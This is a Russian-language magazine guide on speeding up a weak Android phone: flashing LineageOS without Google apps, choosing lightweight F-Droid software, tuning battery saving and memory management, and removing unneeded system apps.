тро, тебе при дет ся его переп рошить. Ина че никак — стан дар тные про шив ки
смар тфо нов  зачас тую  тяжело вес ны,  набиты  бес полез ным  соф том  про изво‐ 
дите ля, мно жес твом при ложе ний Google, которые тебе вряд ли нуж ны. Вруч‐ 
ную  рас чищать  весь  этот  мусор  край не  неудоб но  и  чре вато  проб лемами
со смар тфо ном.

Кро ме  того,  я  рекомен дую  не  уста нав ливать  поверх  про шив ки  пакет
GApps, который вклю чает в себя Play Store и сер висы Google, нуж ные в пер‐ 
вую оче редь для работы push‐уве дом лений и син хро низа ции тво их кон тактов.
Более  под робно  об  этом  погово рим  в  раз деле  «Нуж ны  ли  GApps?»,  а  пока
ска жу лишь, что Play Store мож но заменить аль тер натив ным магази ном при‐ 
ложе ний, а кон такты сох ранить и вос ста новить на смар тфо не без GApps.

Подопыт ный
В качес тве подопыт ного образца будем исполь зовать замеча тель ный китай‐ 
ский  телефон  4Good  Light  B100  с  удру чающи ми  тех ничес кими  харак терис‐ 
тиками:

про цес сор: Mediatek MT6737M, четыре ядра Cortex a53 по 1,1 ГГц, виде‐ 
оус коритель Mali T720 (одно ядро 550 МГц);

•

ОЗУ: 1 Гбайт (907 Мбайт без уче та памяти, занима емой ядром). Ско рость
записи/чте ния 1922 Мбит/с;

•

ПЗУ:  8  Гбайт  (в  data  3,59  Гбайт,  в  system  2,91  Гбайт).  Ско рость  чте‐ 
ния 123 Мбит/с, ско рость записи 35 Мбит/с;

•

ак кумуля тор: 1500 мА ⋅ ч.•

Об рати вни мание, что при веден ные в статье циф ры по количес тву пот ребля‐ 
емой опе ратив ной памяти получе ны имен но на этом смар тфо не. В смар тфо‐ 
нах  с  дру гим  объ емом  опе ратив ки  циф ры  будут  дру гими,  так  как  Android
регули рует дос тупную при ложе ниям память на осно ве ее обще го количес тва.

ДЕЛАЕМ БЭКАП КОНТАКТОВ И КАЛЕНДАРЯ
Итак, если ты выб рал жизнь без GApps, обя затель но сде лай бэкап кон тактов
и событий кален даря. Инс трук ция по вытас киванию кон тактов:
1. От кры ваем  .contacts.google.com
2. На панели «Глав ное меню» нажима ем «Экспор тировать».
3. Вы бира ем фор мат vCard, нажима ем «Экспорт».

А так мож но вытащить события кален даря:
1. От кры ваем  .calendar.google.com
2. На жима ем шес терен ку спра ва ввер ху, а затем перехо дим в нас трой ки.
3. В левом меню нажима ем «Импорт и экспорт».
4. Кли каем по кноп ке «Экспорт», кача ем архив.

Для вос ста нов ления кон тактов пос ле уста нов ки про шив ки дос таточ но открыть
при ложе ние  «Кон такты»,  затем  зай ти  в  нас трой ки,  нажать  «Импорти ровать»
и выб рать сох ранен ный ранее файл. Для вос ста нов ления событий кален даря
при дет ся уста новить сто рон ний кален дарь (об этом поз же).

СТАВИМ ПРОШИВКУ
Вы берем  про шив ку  для  уста нов ки.  Наибо лее  под ходящей  будет  AOSP
или  LineageOS.  Зачас тую  пос ледняя  ока зыва ется  единс твен ной  кас томной
про шив кой для мало извес тных смар тфо нов. Алго ритм уста нов ки:
1. Раз бло киру ем  заг рузчик.  Здесь  уни вер саль ного  рецеп та  нет.  Какие‐то
смар тфо ны мож но раз бло киро вать офи циаль но, какие‐то — толь ко взло‐ 
мав  заг рузчик,  дру гие  нель зя  раз бло киро вать  никак  (при вет,  BlackBerry),
а заг рузчи ки китай ских ноуней мов обыч но не заб локиро ваны вооб ще.

2. Ста вим  TWRP.  Кон крет но  для  тво его  телефо на  инс трук ции  мож но  най ти
на XDA и 4PDA.

3. На ходим  про шив ку  на  тех  же  XDA  и  4PDA,  закиды ваем  на  кар ту  памяти
и про шива ем. Инс трук цию ищем там же.

Ес ли ты все‐таки решил уста новить GApps, то луч ший вари ант — GApps Pico.
Это  минималь ный  набор  при ложе ний  Google,  содер жащий  толь ко  сер висы
Google и Play Store. Уста нав лива ются они так же, как сама про шив ка, ска чать
мож но на сай те  .Open GApps

Нуж ны ли GApps?
GApps — это Play Store и сер висы Google, обес печива ющие вза имо дей ствие
Play  Store,  при ложе ний  от  Google  и  при ложе ний  сто рон них  раз работ чиков
с  раз личны ми  API  Google.  API  Google  пре дос тавля ет  такие  воз можнос ти,
как опре деле ние мес тополо жения по сотовым выш кам и Wi‐Fi, авто мати зиро‐ 
ван ный вход в раз личные сер висы, анти вирус с базой дан ных и автоска ниро‐ 
вани ем,  рас позна вание  речи,  син хро низа ция  кон тактов  и  кален даря  с  сер‐ 
верами Google, мгно вен ная дос тавка push‐уве дом лений и некото рые дру гие.

Про изво дите ли устрой ств, сер тифици рован ных Google, пре дус танав лива‐ 
ют GApps на смар тфон по умол чанию. Поэто му прак тичес ки любой смар тфон
на  Android  про дает ся  с  кучей  гуг лов ско го  соф та,  вклю чая  YouTube,  Gmail,
Google Books и мно го чего еще. Мы же уста нови ли чис тую про шив ку, и у нас
этих при ложе ний нет. Но нет и сер висов Google. Хорошо это или пло хо?

Воп рос  спор ный. С одной  сто роны,  сер висы Google  любят  кушать  заряд
акку муля тора  и  пос тоян но  висеть  в  опе ратив ной  памяти.  С  дру гой —  у  нас
не будет мар кета,  а мно гие  сов ремен ные при ложе ния  (мес сен дже ры,  элек‐ 
трон ная поч та, кли енты соци аль ных сетей) вдруг перес танут показы вать push‐
уве дом ления или нач нут пот реблять заряд акку муля тора.

Так  слу чает ся  потому,  что  push‐уве дом ления  при ходят  через  сер вер
Google,  а  смар тфон  свя зыва ется  с  ним  через  сер висы  того  же  Гуг ла.  При‐ 
ложе ниям  ничего  не  оста ется,  как  либо  не  получать  уве дом ления  вооб ще,
либо под клю чать ся к сво ему собс твен ному сер веру (так дела ет Telegram), что
чре вато повышен ным рас ходом заряда акку муля тора.

Так  что  если  ты  собира ешь ся  исполь зовать  мно жес тво  мес сен дже ров,
поч товых  прог рамм,  служб  новос тей  с  опо веще ниями  и  про чей  подоб ной
мишуры — однознач но ставь GApps. Если же из всей соци аль щины ты поль‐ 
зуешь ся толь ко «Телег рамом», то отказ от GApps при несет эко номию заряда
акку муля тора и опе ратив ки. Ну и как бонус — Google вдруг перес танет сле‐ 
дить за тво им телефо ном.

ВЫБИРАЕМ МАГАЗИН ПРИЛОЖЕНИЙ
Ес ли ты уста новил про шив ку без GApps, тебе нужен аль тер натив ный магазин
при ложе ний.  Не  раз думывая  выбирай  .  Это  срав нитель но  круп ный
репози торий  при ложе ний,  содер жащий  исклю читель но  бес плат ный  софт
с откры тым исходным кодом.

F‐Droid

Боль шинс тво  здеш них  прог рамм  ком пак тные,  не  жад ные  до  опе ратив ки
и  акку муля тора.  Они  не  содер жат  рек ламы  и  не  тре буют  для  сво ей  работы
сер висов Google. Впро чем, есть у это го мар кета серь езные недос татки: нет
ни оце нок, ни отзы вов, попада ются при ложе ния с более ста рыми вер сиями,
чем  в  основных  магази нах.  Ну  и  самое  глав ное  отли чие:  софт,  написан ный
на  голом  энту зиаз ме,  час то  не  слиш ком  фун кци ональ ный  и  не  очень  прив‐ 
лекатель ный с эсте тичес кой точ ки зре ния.

На  вся кий  слу чай  уста нав лива ем  .  Прог рамма  поз воля ет  заг‐ 
ружать,  уста нав ливать  и  обновлять  любые  при ложе ния  из Play Store.  Толь ко
не  добав ляй  в  Yalp  Store  основной  акка унт  Google,  заг рузка  при ложе ний
из мар кета через неофи циаль ный кли ент может гро зить баном.

Yalp  Store

При ложе ние в F‐Droid и Yalp Store

ВЫБИРАЕМ ЛЕГКИЙ СОФТ
В век раз дутого соф та с боль шим количес твом ненуж ной фун кци ональ нос ти
встре тить  прос тые,  быс трые  и  не  пере усложнен ные  при ложе ния  труд но.
Но если очень пос тарать ся и искать в пра виль ных мес тах, мож но най ти очень
неп лохой софт.

Ла унчер
  —  наз вание  говорит  само  за  себя.  Это  вер тикаль но  прок‐ 

ручива емый  спи сок  при ложе ний  с  поис ком  по  наз вани ям.  Удер жание
паль ца вызыва ет диалог уда ления прог раммы. Занима ет это доб ро в уста‐ 
нов ленном виде чуть боль ше 15 Кбайт (!).

• No  Launcher

 — этот пожир нее (676 Кбайт), зато выводит спи сок с час то
исполь зуемы ми  прог рамма ми  на  глав ном  экра не,  под держи вает  сме ну
обо ев, и, глав ное, тут очень мно го нас тро ек. Отсутс твие ани мации не бро‐ 
сает ся в гла за бла года ря сво еоб разной кон цепции управле ния.

• KISS launcher

 — похож на клас сичес кий. Пред став ляет собой нес коль‐ 
ко дис пле ев с горизон таль ной прок руткой. Каж дый дис плей содер жит при‐ 
ложе ния опре делен ной катего рии. Мно жес тво нас тро ек. В уста нов ленном
виде занима ет 348 Кбайт.

• Emerald Launcher

 —  осно ван  на  Pixel  Launcher.  Есть  под дер жка  вид жетов,  папок
и шор тка тов, при сутс тву ют плав ные ани мации. В нас трой ках мож но най ти
мно жес тво пун ктов по кас томиза ции. Абсо лют но не тор мозит даже на сла‐ 
бых  устрой ствах,  в  NAND‐памяти  занима ет  3  Мбайт,  а  в  ОЗУ  —  жал‐ 
кие 33 Мбайт (про тив 20 Мбайт у KISS).

• Lawnchair

No Launcher и Lawnchair

Бра узер
. Этот бра узер зна ют, навер ное, все. Но мы все рав но о нем рас‐ 

ска жем, потому что есть малень кий, но важ ный нюанс. Дело в  том,  что сов‐ 
ремен ная Opera Mini  может  работать  в  нес коль ких  режимах.  По  умол чанию
она исполь зует WebView, то есть стан дар тный дви жок Chrome, пре дус танов‐ 
ленный  в  любом  Android,  но  если  вклю чить  в  нас трой ках  «экс тре маль ный»
режим эко номии, то бра узер перек лючит ся в режим работы через сер вер.

Opera Mini

Ра бота ет  он  сле дующим  обра зом:  веб‐стра ницы  про ходят  через  один
из  сер веров  Opera.  Сер вер  кон верти рует  стра ницу  в  спе циаль ный  ком пак‐ 
тный фор мат, умень шает раз решение изоб ражений, выреза ет рек ламу, сни‐ 
жает бит рейт видео, затем отправ ляет стра ницу на устрой ство. В резуль тате
ты получа ешь зна читель ную эко номию интернет‐тра фика и ресур сов про цес‐ 
сора,  а  это  при водит  к  умень шению  пот ребле ния  заряда  акку муля тора
и  замет ному  уско рению  заг рузки  и  отри сов ки  веб‐стра ниц.  Пла тить  за  это
при ходит ся некор рек тной работой мно гих веб‐стра ниц.

Сайт xakep.ru и нас трой ки эко номии тра фика

Кла виату ра
Здесь  выбор  прос той:  либо  стан дар тная  кла виату ра,  либо  .
В  сред нем  она  пот ребля ет  18  Мбайт  ОЗУ,  а  в  NAND‐памяти  занима‐ 
ет 1,2 Мбайт. За ком пак тность при ходит ся пла тить отсутс тви ем фун кций про‐ 
вер ки пра вопи сания и пред ска зания вво да.

Simple  Keyboard

Simple Keyboard и AnySoftKeyboard

YouTube
В  качес тве  замены  YouTube  выбира ем  лег ковес ный  (13  Мбайт  в  уста нов‐ 
ленном виде)  . Для прос мотра роликов его воз можнос тей более чем
дос таточ но.  Поз воля ет  ска чивать  видео,  есть  режим  «кар тинка  в  кар тинке».
Недос таток:  нель зя  под клю чить  акка унт Google,  а  это  зна чит,  что  ты не  уви‐ 
дишь пер сонали зиро ван ных рекомен даций и не смо жешь ком менти ровать.

NewPipe

Смот рим видео в NewPipe

Га лерея
  —  неболь шая  галерея,  которая  в  уста нов ленном  виде

занима ет  все го  лишь  9 Мбайт  памяти.  При сутс тву ет  сор тиров ка  по  пап‐ 
кам.  Для  эсте тов  есть  нас трой ка  цве тово го  офор мле ния  при ложе ния.
Работа ет очень быс тро даже на сла бом устрой стве.

• Simple  Gallery

. Минима лис тичная  галерея  от  извес тно го  раз работ чика 
. Занима ет 5 Мбайт в уста нов ленном виде.

• Focus  Go Фран‐ 
циско Фран ко

Simple Gallery и Focus Go

Кар ты
 — при ложе ние исполь зует кар ты OpenStreetMap, быс тро под гру‐ 

жает  их,  работа ет  плав но.  По  информа цион ному  напол нению  Maps.me
лишь  нем ного  усту пают  народ ным  кар там  Яндекса  (которые  дос тупны
толь ко  в фир менном при ложе нии,  бес пощад но жру щем ресур сы  устрой‐ 
ства) и 2GIS (который нор маль но зна ет толь ко города федераль ного зна‐ 
чения).

• Maps.me

 — очень фун кци ональ ные кар ты: мно жес тво тон ко нас тра иваемых
сти лей  отоб ражения  кар ты,  рель ефа,  раз личных  сло ев  со  спут ника,
наличие  фотог рафий  мест  через  сер вис  Mapillary.  Одна ко  при ложе ние,
во‐пер вых,  отли чает ся  нетороп ливостью  и  подер гивани ями  при  изме‐ 
нении мас шта ба и перетас кивании кар ты, а во‐вто рых,  тре бует заг рузить
кар ту мира, которая пос ле уста нов ки занима ет более 271 Мбайт.

• OsmAnd

Имей  в  виду,  если  ты  не  уста новил  на  смар тфон GApps,  опре деле ние мес‐ 
тополо жения  будет  работать  исклю читель но  по  GPS.  Дру гими  сло вами,  ты
не  смо жешь  узнать  мес тополо жение  в  помеще ниях.  Что бы  это  испра вить,
уста нови пакет  , а так же два бэкен да к нему:UnifiedNlp

;• Apple UnifiedNlp Backend
.• MozillaNlpBackend

Пер вый  нужен  для  опре деле ния  мес тополо жения  по  точ кам  дос тупа  Wi‐Fi
(исполь зуя базу дан ных Apple, что иро нич но), а вто рой — по сотовым выш кам.
Пос ле уста нов ки необ ходимо вклю чить в нас трой ках телефо на опре деле ние
мес тополо жения  «По  всем  источни кам»  и,  воз можно,  перезаг рузить  смар‐ 
тфон.

Maps Me и OsmAnd

Му зыкаль ный пле ер
  —  очень  прос той  пле ер.  Уме ет  ска ниро вать  память

устрой ства и рас сорти ровы вать музыку по исполни телям.
• Music  Player  GO

. Про игры ватель раз мером 5,4 Мбайт, который вос про изво дит
ауди офай лы, раз ложен ные по пап кам.

• Folder Player

Music Player GO и Folder Player

Поч та
 в памяти устрой ства занима ет 10,4 Мбайт. Работа ет быс тро. По фун‐ 

кци ональ нос ти  не  толь ко  ничем  не  усту пает  более  жир ным  поч товым  кли‐ 
ентам,  но  и  зна читель но  их  пре вос ходит.  Дос тупна  воз можность  PGP‐шиф‐ 
рования.

K‐9 Mail

Чи таем пись мо и нас тра иваем K‐9 Mail

INFO

Ес ли  у  тебя  вклю чена  двух фактор ная  аутен‐ 
тифика ция  Google,  для  под клю чения  сто рон ней
поч товой прог раммы к Gmail необ ходимо соз дать
пароль  при ложе ния.  Как  это  сде лать,  под робно
написа но  .в офи циаль ной инс трук ции Google

Блок нот/замет ки
.  Пол нофун кци ональ ный  менед жер  заметок.  Син хро низа ция

и  бэкап  выпол няют ся  через  выг ружа емую  на  кар ту  памяти  базу  дан ных.
К  замет ке  мож но  при ложить  нарисо ван ный  собс твен норуч но  рисунок,
мес тополо жение, ауди оза пись, кар тинку. Работа ет очень быс тро.

• Omni  Notes

. Самый прос той менед жер заметок. В уста нов ленном виде занима‐ 
ет 156 Кбайт памяти. Поз воля ет соз давать замет ку и заголо вок к ней. Нет
под дер жки спис ков, голосо вых заметок, напоми наний и син хро низа ции.

• uNote

Omni Notes и uNote

Продолжение статьи →
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ОБГОНЯЯ ФЛАГМАНЫ
БОЛЬШОЙ ГАЙД ПО ОПТИМИЗАЦИИ ANDROID

ТРЮКИ  НАЧАЛО СТАТЬИ←

Ка лен дарь
. Наз вание говорит само за себя. Работа ет быс тро и плав но,

занима ет 10 Мбайт в пос тоян ной памяти. По фун кци ональ нос ти не отли чает‐ 
ся от Google Кален даря.

Simple Calendar

Что бы импорти ровать сох ранен ные события кален даря, наж ми на три точ‐ 
ки ввер ху, а затем «Импорт событий из ICS‐фай ла».

Го довой кален дарь и кален дарь на месяц

SIMPLE APPS
Идем от слож ного к прос тому. Чем короче путь, тем мень ше тре бует ся ресур‐ 
сов.  Что  нуж но  поль зовате лю?  Чет кая  и  кор рек тная  работа  прог рамм.  А  уж
кра сивы ми  ани маци ями  и  спе цэф фекта ми  мож но  пре неб речь.  В  сво ем
стрем лении прий ти  к это му раз работ чик Тибор Капута  (Tibor Kaputa) соз дал
пакет прог рамм  . Это прос тые, быс трые и эффектив ные при ложе‐ 
ния.

Simple Apps

ВЫЯВЛЯЕМ ЖАДНЫЕ ДО АККУМУЛЯТОРА ПРИЛОЖЕНИЯ
В  этом  деле  стан дар тный  менед жер  пот ребле ния  акку муля тора  нам
не  поможет.  Необ ходим  .  О  том,  как  эффектив но  исполь‐ 
зовать  это  при ложе ние,  мы  уже  писали  в  статье  «

», но все‐таки пов торим ся.

Wakelock  Detector
Все,  что  нуж но  знать

об энер госбе реже нии Android‐гад жетов
В  Wakelock  Detector  нас  инте ресу ют  два  экра на:  «Будящие  прог раммы»

и  «Про цес сорный  wakelock».  Пер вый  показы вает,  сколь ко  раз  при ложе ние
было при чиной про буж дения устрой ства из режима сна, а вто рой — сколь ко
вре мени  прог рамма  в  фоновом  режиме  исполь зовала  про цес сор  (мож но
уви деть наз вание про цес са, если клик нуть по наз ванию). При ложе ния, став‐ 
шие при чиной быс тро го раз ряда акку муля тора, с боль шим отры вом воз глав‐ 
ляют верх спис ка. Ста тис тика отоб ража ется с момен та запус ка устрой ства.

Для  устра нения  при чины  повышен ного  энер гопот ребле ния  сто ит  про‐ 
гулять ся по нас трой кам при ложе ния и поис кать пун кты «Отправ ка ста тис тики»
и  «Час тота  син хро низа ции»,  по  воз можнос ти  отклю чить  их  или  пос тавить
более высокие интерва лы. Если это не помог ло, то самый дей ствен ный спо‐ 
соб — уда лить при ложе ние.

Ког да  уда ление  нежела тель но,  при дет ся  при бег нуть  к  усып лению
с помощью спе циаль ных прог рамм. Одна из луч ших —  . Она пре пятс‐ 
тву ет  выходу  при ложе ний  из  режима  сна  даже  по  опре делен ным  событи ям
(по вре мени, при под клю чении к сети, раз бло киров ке устрой ства, уста нов ке/
уда лении  прог рамм).  Пос ле  уста нов ки  и  про хож дения  пер воначаль ной  нас‐ 
трой ки  рекомен дую  зай ти  в  нас трой ки  и  пос тавить  галоч ку  нап ротив  опции
«Отсле жива ние  и  отсе чение  про буж дений →  Рас ширен ное  отсе чение  про‐ 
буж дений».

Greenify

Поль зовать ся Greenify очень прос то: пос ле запус ка нажима ешь на + спра‐ 
ва ввер ху и выбира ешь про буж дающие устрой ство при ложе ния, а  ког да все
при ложе ния  будут  выб раны  —  нажима ешь  круг лую  кноп ку  вни зу.  Кста ти,
отдель ные  при ложе ния  мож но  нап рямую  отпра вить  из  Wakelock  Detector
в Greenify для усып ления.

По иск будящих при ложе ний в Wakelock Detector и их замороз ка
в Greenify

ВКЛЮЧАЕМ АГРЕССИВНОЕ ЭНЕРГОСБЕРЕЖЕНИЕ
Doze — это появив шаяся в Android 6.0 сис тема энер госбе реже ния. По умол‐ 
чанию  она  вклю чает ся  при мер но  через  час  неак тивнос ти  смар тфо на,  а  ее
работа  сос тоит  в  том,  что бы  не  дать  при ложе ниям  прос нуть ся  и  истра тить
заряд  акку муля тора  (более  под робно  про  режим  Doze  мы  писали  в  статье
« »).До зируй батарею пра виль но!

В  боль шинс тве  слу чаев  тюнин говать  Doze  бес смыс ленно,  но  если  ты
хочешь,  что бы  смар тфон  дей стви тель но  дол го  работал  от  акку муля тора,  то
Doze  мож но  зас тавить  вклю чать ся  не  спус тя  час,  а  через  нес коль ко  минут
пос ле отклю чения экра на. Сде лать это мож но с помощью прог раммы 
(нас трой ка Aggressive doze) или с помощью все  того же Greenify  (нас трой ка
опять же «Агрессив ный Doze»).

Naptime

Од нако  есть  и  побоч ные  эффекты:  перес танут  при ходить  уве дом ления
от некото рых при ложе ний. Что бы это испра вить, при ложе ния нуж но добавить
в  белый  спи сок.  Перехо дим  в  «Нас трой ки →  При ложе ния →  Зна чок  шес‐ 
терен ки →  Спе циаль ный  дос туп →  Эко номия  заряда  батареи».  Нажима ем
на «Эко номят заряд», перек люча емся на «Все при ложе ния» и отклю чаем эко‐ 
номию заряда для нуж ных при ложе ний.

Глав ный экран в Naptime и нас трой ки Doze в Greenify

НАСТРАИВАЕМ СИСТЕМУ УПРАВЛЕНИЯ ОПЕРАТИВНОЙ ПАМЯТЬЮ
Android  исполь зует  динами чес кую  сис тему  управле ния  запущен ными  при‐ 
ложе ниями. Это  зна чит,  что  он  не  тре бует  от  поль зовате ля  самос тоятель но
зак рывать  запущен ные  при ложе ния,  а  дела ет  это  сам  тог да,  ког да  счи тает
нуж ным.

Под систе ма,  ответс твен ная  за  зак рытие  при ложе ний,  называ ется  Low
Memory Killer. Ее мож но нас тро ить на свой вкус либо вне ся прав ки в файл 

,  либо  с  помощью 
 или спе циали зиро ван ных при ложе ний вро де  . Мы будем

исполь зовать Kernel Adiutor.

/
sys/module/lowmemorykiller/parameters/minfree Ker‐
nel Adiutor AutoKiller

Итак, уста нав лива ем и запус каем Kernel Adiutor, перехо дим на вклад ку Low
Memory Killer. Все при ложе ния делят ся на шесть групп:
1. Ак тивные  при ложе ния  (FOREGROUND_APP)  —  запущен ные  в  дан ный
момент при ложе ния.

2. Ви димые  при ложе ния  (VISIBLE_APP)  —  работа ющий  в  фоне  про цесс,
отве чающий за вывод той или иной информа ции на экран (нап ример, выд‐ 
вижная панель, вид жет).

3. Вто рич ные  при ложе ния  (SECONDARY_SERVER)  —  фоновый  сер вис
(музыкаль ный про игры ватель, радио и так далее).

4. Скры тые  при ложе ния  (HIDDEN_APP)  —  выпол няют  какие‐то  дей ствия
в фоне, но при этом не выводят уве дом ление.

5. Кон тент‐про вай деры  (CONTENT_PROVIDER)  —  фоновый  сер вис,  отве‐ 
чающий за хра нение и быс трое пре дос тавле ние какой‐либо информа ции,
ког да дру гие при ложе ния про сят ее пре дос тавить.

6. Пус тые  при ложе ния  (EMPTY_APP)  —  фоновое  при ложе ние,  которое
ничего не дела ет.

Чуть ниже есть раз дел «Про фили». Здесь Kernel Adiutor пред лага ет нес коль ко
шаб лонов нас трой ки агрессив ности Low Memory Killer.

Нас трой ка Low Memory Killer в Kernel Adiutor и стан дар тные про фили

Циф ры  спра ва  от  наз ваний  групп  показы вают  количес тво  сво бод ной  опе‐ 
ратив ной  памяти,  при  пре выше нии  которо го  при ложе ния  соот ветс тву ющих
групп будут уби ты.

Сог ласно  дан ным  на  скрин шоте,  сис тема  будет  вес ти  себя  сле дующим
обра зом:

ес ли в ОЗУ сво бод но более 81 Мбайт, то никакие прог раммы зак рывать ся
не будут;

•

как  толь ко в ОЗУ оста нет ся от 81 до 63 Мбайт,  Low Memory Killer нач нет
уби вать исклю читель но при ложе ния катего рии EMPTY_APP;

•

сво бод ной опе ратив ной памяти ста ло от 62 до 55 Мбайт — будут зак рыты
прог раммы  катего рий  EMPTY_APP  (в  боль шинс тве  слу чаев  они  уже  зак‐ 
рыты) и CONTENT_PROVIDER;

•

ес ли  сво бод ной  опе ратив ной  памяти  оста нет ся  менее  27  Мбайт,  будет
зак рыто  активное  при ложе ние  (FOREGROUND_APP),  с  которым  вза имо‐ 
дей ству ет поль зователь (очень малове роят ная ситу ация).

•

Внут ри  кон крет ной  груп пы  в  пер вую  оче редь  будут  оста нов лены  про цес сы,
занима ющие боль ше все го памяти. Пос ле устра нения каж дого про цес са Low
Memory  Killer  све ряет  дос тупный  объ ем ОЗУ  со  сво им фай лом  парамет ров
и реша ет, нуж но ли про дол жать уби вать.

Мно гие поль зовате ли при вык ли откры вать экран с пос ледни ми при ложе‐ 
ниями  и  сма хивать  их.  В  этом  слу чае  обыч но  пре рыва ются  EMPTY_APP
и  CONTENT_PROVIDER  (которые  ничего  не  пот ребля ют  и  мол ча  ждут  либо
ког да  Low  Memory  Killer  их  прибь ет,  либо  ког да  поль зователь  их  зап росит
и  они  смо гут  поч ти  мгно вен но  пре дос тавить  кон тент).  Про цес сы  от  HID‐
DEN_APP  до  FOREGROUND_APP  обыч но  уже  зак рыты.  Что  поль зователь
получа ет вза мен — при пов торном откры тии «смах нутых» при ложе ний смар‐ 
тфон  вновь  дол жен  заг ружать  при ложе ние  с  «дис ка»  и  как  минимум  заново
отри совы вать  все  эле мен ты  интерфей са.  В  резуль тате  повыша ется  рас ход
акку муля тора и воз раста ет вре мя откры тия при ложе ний.

Та ким обра зом, нуж но попытать ся мак сималь но умень шить все зна чения,
что бы  смар тфон  как  мож но  доль ше  дер жал  в  сво ей  памяти  откры тые  при‐ 
ложе ния.  Глав ное  —  не  пере усердство вать.  В  иде але  нуж но  добить ся
минималь ного раз мера, при котором сис тема не дол жна завер шать про цес‐ 
сы во вре мя откры тия наибо лее час то исполь зуемых при ложе ний.

Я  рекомен дую  не  замора чивать ся  с  тес тами  и  прос то  пос тавить  «Очень
лег кий» про филь в Kernel Adiutor.

СПОРНЫЕ МОМЕНТЫ
В Сети гуля ет мно жес тво советов по опти миза ции и энер госбе реже нию An‐
droid. К сожале нию, далеко не все из них полез ны, а некото рые даже вред ны.

 При‐ 
водит к еще боль шему рас ходу заряда акку муля тора из‐за необ ходимос ти
искать выш ки и уста нав ливать с ними соеди нение.

• Ав томати чес кое (или руч ное) перек лючение на режим 2G.

  Не  име ет  смыс ла.
При под клю чен ном соеди нении Wi‐Fi пот ребля ет 30 мВт, нев зирая на то,
идет переда ча дан ных или нет, а переда ча дан ных через сети сотовой свя‐ 
зи тре бует 50–500 мВт в зависи мос ти от качес тва сиг нала.

• Пункт  в  нас трой ках Wi-Fi  «Вык лючать  всег да».

 Bluetooth не пот ребля ет энер гию, если не под‐ 
клю чен к устрой ству. Так что отклю чать его нет смыс ла. Даже при активном
соеди нении адап тер Bluetooth пот ребля ет око ло 2,5 мВт.

• От клю чение Bluetooth.

  Это  миф.  Пос ледова тель ные  чте ние‐запись  выпол няют ся
на  такой же ско рос ти,  как  у ext4, а мно гок ратное воз раста ние слу чай ной
записи в ран них тес тах — баг, который поз же был исправ лен.

• Сме на фай ловой  сис темы  на  F2FS  повыша ет  ско рость  чте ния

и  записи.

Ин форма ция  об  энер гопот ребле нии  бес про вод ных  модулей  взя та  из 
.

пуб‐ 
ликации сот рудни ка Apple

ВЫЧИЩАЕМ МУСОР
В Android мно жес тво пре дус танов ленных при ложе ний и сер висов. Некото рые
из  них  сис тема  запус кает  авто мати чес ки  пос ле  заг рузки  или  в  ответ
на какое‐то событие. Нам это не всег да нуж но, поэто му от такого соф та луч‐ 
ше изба вить ся.
1. Ус танав лива ем и откры ваем  .Taskmanager
2. В  нас трой ках  вык люча ем  «Скры вать  сис темные при ложе ния» и  вклю чаем
«Root access».

3. Пе резаг ружа ем  смар тфон,  что бы  выявить  авто мати чес ки  запус каемые
при ложе ния.

4. От кры ваем Taskmanager и смот рим спи сок при ложе ний. Сре ди них навер‐ 
няка есть те, которые тебе не нуж ны либо для которых ты нашел ана логи.

За пущен ные про цес сы в Taskmanager

В  моем  слу чае  (LineageOS  14.1)  уда ление  сле дующих  прог рамм  помог ло
сэконо мить  ресур сы  устрой ства  (уда лить  при ложе ния  мож но  с  помощью
любого фай лового менед жера с под дер жкой root):

элек трон ная поч та  ;• /system/app/Email

под дер жка Exchange:  ;• /system/app/Exchange2

служ бы  погоды  , 
  и 

 (вни мание: перес танет работать встро енный вид жет погоды);

• /system/app/YahooWeatherProvider /system/

privapp/WeatherManagerService /system/privapp/Weather

Provider

опо веще ния  населе ния  о  сти хий ных  бедс тви ях: 
;

• /system/privapp/

CellBroadcastReceiver

ка лен дарь  ;• /system/app/Calendar

кла виату ра    (уда ляй,  если  уста новил  сто рон‐ 
нюю);

• /system/app/LatinIME

сис тема про вер ки OTA‐обновле ний  .• /system/privapp/Updater

Это был мяг кий вари ант. А вот более экс тре маль ный:
ани мация  заг рузки:  .  Пос ле  уда‐ 
ления будет вос про изво дить ся стан дар тная ани мация Android или чер ный
экран;

• /system/media/bootanimation.zip

пре дус танов ленные  мелодии  звон ка,  уве дом лений  и  будиль ника: 
 в пап ках  ,  ,  .

При желании мож но почис тить пап ку ui, если сис темные зву ки тебе не нуж‐ 
ны;

•
/system/media/audio ringtones notifications alarms

язы ки  при митив ного  голосо вого  движ ка  Pico  TTS: 
. Голосо вой дви жок Google это не зат ронет;

• /system/tts/

lang_pico

оф лайн‐язы ки  ,  их  мож но  будет  ска чать,
если понадо бят ся.

• /system/usr/srec/config/

Дру гие  сис темные  при ложе ния  LineageOS,  которые  мож но  без болез ненно
уда лить:

сто ковый веб‐бра узер:  ;• /system/app/Jelly

каль кулятор:  ;• /system/app/ExactCalculator

эму лятор тер минала:  ;• /system/app/Terminal

му зыкаль ный пле ер:  ;• /system/privapp/Eleven

сто ковая галерея  ;• /system/privapp/Gallery2

ме нед жер  пер воначаль ной  нас трой ки: 
;

• /system/privapp/LinageSe

tupWizard

на доед ливое меню сим‐кар ты:  ;• /system/app/Stk

дик тофон и запись экра на:  ;• /system/privapp/Recorder

вид жет часов:  ;• /system/app/LockClock

сто ковый лаун чер:  ;• /system/privapp/Trebuchet

тест GPS из инже нер ного меню:  ;• /system/app/YGPS

прог рамма получе ния‐отправ ки СМС:  ;• /system/app/messaging

син тезатор речи Google:  ;• /system/app/PicoTts

при ложе ние часов (тай мер, секун домер...):  ;• /system/app/LockClock

пас халка:  ;• /system/app/EasterEgg

фо торам ка:  ;• /system/app/PhotoTable

жи вые обои:  .• /system/app/LiveWallpapersPicker

ПРО МОДИФИКАЦИИ BUILD.PROP И ИНСТРУКЦИИ
С ФОРУМОВ
Файл   при сутс тву ет в любой про шив ке Android и хра нит
внут ри  себя  боль шое  количес тво  низ коуров невых  нас тро ек,  а  так же
информа цию  об  устрой стве  и  самой  про шив ке.  Файл  build.prop  при нято
исполь зовать для опти миза ции  устрой ства:  в Сети есть мно жес тво инс трук‐ 
ций, какие изме нения в него сле дует внес ти.

/system/build.prop

Но не  торопись  выпол нять их. Поль зователь форума  xda‐developers 
 и открыл неожи дан ную информа цию. Ока залось, что око ло

двад цати нас тро ек, рекомен дуемых на форумах,  вооб ще ниг де не  упо мина‐ 
ются в исходных тек стах Android, а это зна чит, что они были прос то выдума ны.

про‐ 
вел иссле дова ние

Как  ты  дума ешь,  сто ит  ли  доверять  рекомен даци ям,  мно гие  из  которых
люди берут из головы?

